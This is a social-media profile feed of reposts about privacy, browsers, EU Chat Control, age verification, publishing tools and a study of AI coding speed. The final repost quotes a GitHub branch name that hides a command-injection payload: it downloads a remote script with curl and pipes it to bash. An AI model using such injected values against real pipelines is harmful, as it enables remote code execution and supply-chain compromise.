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Tobias Maier
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Software Engineer
Interested in: web engineering, privacy preserving technologies, local first software, decentralized systems
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zen-browser.app
We noticed a rising interest regarding the use of AI in browsers. To be clear about our position on this: Zen currently is disabling all AI features included in Firefox and will continue to do so.
December 16, 2025 at 8:24 PM
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tuta.com
Huge Victory: #ChatControl no longer forces us to break #encryption. 🎉 

🚨But: It now wants #AgeVerification.

The Trilogue starts today 🗓️ 

You've helped us stop #backdoors: tuta.com/blog/chat-co...

Now, help us stop #AgeVerification! 👇️ 

fightchatcontrol.eu#contact-tool

#Fight4Privacy
Map of countries in the EU that are opposing, proposed and in favor of Chat Control.
December 9, 2025 at 9:16 AM
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ghost.org
Ghost 6.0 is here — meet our biggest upgrade yet

🫶 Reach millions of users across the social web
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ghost.org/6/
Ghost 6.0 - Grow faster.
Connect to the world's largest open publishing network, understand your audience with native analytics, and build a sustainable publishing business.
ghost.org
August 4, 2025 at 2:28 PM
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samleecole.bsky.social
getting my phrenology checked by my laptop camera before I can listen to WAP, a future I always wanted www.404media.co/spotify-uk-a...
Spotify Is Forcing Users to Undergo Face Scanning to Access Explicit Content
Submit to biometric face scanning or risk your account being deleted, Spotify says, following the enactment of the UK's Online Safety Act.
www.404media.co
July 30, 2025 at 3:10 PM
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molly.wiki
The scale of Trump's pay-for-access scheme outlined by the @nytimes.com is mindblowing. Crypto contributions resulting in business deals with the Trump family crypto businesses, oil companies buying influence and later reaping benefits from friendly policies, and a $1 million pardon.
When the cryptocurrency entrepreneur Eric Schiermeyer heard that President Trump was holding small group dinners with major donors, he saw opportunity. Mr. Schiermeyer reached out to a lobbyist with connections in Mr. Trump’s orbit, who arranged for him to attend a dinner with the president at his private Mar-a-Lago club on March 1 in exchange for donations to a pro-Trump PAC called MAGA Inc. totaling $1 million. The personal and corporate donations were among dozens of seven- and eight-figure contributions to MAGA Inc. from crypto and other interests revealed in a campaign finance filing on Thursday night that hinted at the access Mr. Trump accords those willing to pay. At the dinner, Mr. Schiermeyer, who had never given a federal political donation before, presented an idea for a cryptocurrency called “U.S.A. Token” that would be distributed to every citizen, according to interviews and a flier he distributed to attendees that sets out details of the proposal. He hoped it could be su Cryptocurrency interests, which have benefited from the Trump administration’s dismantling of a yearslong government crackdown and from the Trump family’s financial interest in the industry, appear to have been the most generous industry, accounting for nearly $45 million in donations to MAGA Inc.An affiliate of the exchange Crypto.com gave $10 million, while the crypto services company Blockchain.com donated $5 million. The venture capitalists Marc Andreessen and Ben Horowitz, who are heavily invested in crypto, gave $3 million each. Ondo Finance, which has a partnership with the Trump family’s crypto company, donated $2.1 million to MAGA Inc., on top of $1 million to Mr. Trump’s inauguration.
August 3, 2025 at 2:09 PM
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metr.org
We ran a randomized controlled trial to see how much AI coding tools speed up experienced open-source developers.

The results surprised us: Developers thought they were 20% faster with AI tools, but they were actually 19% slower when they had access to AI than when they didn't.
July 10, 2025 at 7:47 PM
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proton.me
Sometimes it is hard to break people out of bad password habits (thankfully, Proton Pass makes it super easy).
A scene from the TV show "Friends" where Joey is repeating things that Phoebe says. Phoebe breaks down a complex password into three chunks, with Joey repeating them correctly. FInally, Phoebe says the whole password in one, and Joey responds "password123".
May 23, 2025 at 8:44 AM
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mattkeeter.com
absolutely incredible attack vector
Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
December 6, 2024 at 3:27 AM